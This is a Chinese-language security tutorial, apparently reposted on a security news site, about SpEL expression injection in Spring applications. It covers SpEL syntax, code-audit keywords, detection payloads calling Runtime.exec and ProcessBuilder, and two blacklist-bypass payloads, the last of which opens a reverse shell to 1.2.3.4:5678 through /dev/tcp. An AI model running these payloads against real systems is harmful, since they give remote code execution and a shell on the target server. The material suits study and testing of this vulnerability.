SpEL 表达式注入漏洞

admin 2025年4月24日21:40:31评论1 views字数 2714阅读9分2秒阅读模式

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

请大家关注公众号支持,不定期有宠粉福利

Part-01

    基础知识

Spring 表达式语言(Spring Expression Language,SpEL)是一种功能强大的表达式语言,用于在运行时查询和操作对象图,语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。

SpEL 表达式语法

1)使用量表达式

在 SpEL 表达式中,我们可以直接使用量表达式:

"#{'Hello World'}"

2)使用 java 代码 new/instance of

在 SpEL 表达式中,我们可以直接使用 Java 代码 new/instanceof:

Expression exp = parser.parseExpression("new Spring('Hello World')");

3)使用 T(Type)

同样的,在 SpEL 表达式中可以使用“T(Type)”来表示 java.lang.Class 实例,常用于引用常量和静态方法:

parser.parseExpression("T(Integer).MAX_VALUE");

在 SpEL 中可以使用#bean_id 来获取容器内的变量。同时,还存在两个特殊的变量#this 和 #root,分别用来表示使用当前的上下文和引用容器的 root 对象:

String result2 = parser.parseExpression("#root").getValue(ctx, String.class);String s = new String("abcdef");ctx.setVariable("abc",s);parser.parseExpression("#abc.substring(0,1)").getValue(ctx, String.class);

SpEL 中可以使用 T()操作符声明特定的 Java 类型,一般用来访问 Java 类型中的静态属性或静态方法。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL 内置了 java.lang 包下的类声明,也就是说,java.lang.String 可以通过 T(String)访问,而不需要使用全限定名。因此,我们通过 T()调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。同样的,SpEL 也可以对类进行实例化,使用 new 可以直接在SpEL 中创建实例,创建实例的类要通过全限定名进行访问:

ExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression("new java.util.Date()");Date value = (Date) exp.getValue();System.out.println(value);

产生 SpEL 表达式注入漏洞的大前提是存在 SpEL 的相关库,因此我们在审计时可以针对这些库进行搜索,并跟踪器参数是否可控。根据常用的库,可以总结出以下常见关键字。

org.springframework.expression.spel.standardSpelExpressionParserparseExpressionexpression.getValue()expression.setValue()

Part-02

SpEL 验证

产生 SpEL 表达式注入漏洞的另一个主要原因是,很大一部分开发人员未对用户输入进行处理就直接通过解析引擎对 SpEL 继续解析。一旦用户能够控制解析的 SpEL 语句,便可通过反射的方式构造代码执行的 SpEL 语句,从而达到 RCE 的目的。SpEL 漏洞的危害有:任意代码执行、获取 SHELL、对服务器进行破坏等。

一般来讲,在测试 SpEL 表达式注入漏洞时,我们可以通过插入以下 POC 来检测是否存在 SpEL 表达式注入漏洞:

${255*255}T(Thread).sleep(10000)T(java.lang.Runtime).getRuntime().exec('command')T(java.lang.Runtime).getRuntime().exec("nslookup qianxin.com")new java.lang.ProcessBuilder("command").start()new java.lang.ProcessBuilder({'nslookup qianxin.com'}).start()#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup xxx.com')

在 SpEL 表达式注入漏洞的实际利用中,会存在一个十分常见的情况:网站存在黑名单校验。此时攻击者需要通过各种方法绕过黑名单的关键词检测或语义检测。对于常见的基于正则的黑名单匹配绕过是相对简单的,可利用以下两种方法构造 Payload。

1.利用反射与拆分关键字构造 Payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")), newString[]{"/bin/bash","-c","command"})}

2.利用 ScriptEngineManager 构造 Payload

#{T(javax.script.ScriptEngineManager).newInstance() .getEngineByName("nashorn") .eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/5678;cat <&5 | while read line; do $line 2>&5 >&5;done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日21:40:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpEL 表达式注入漏洞https://cn-sec.com/archives/3997074.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息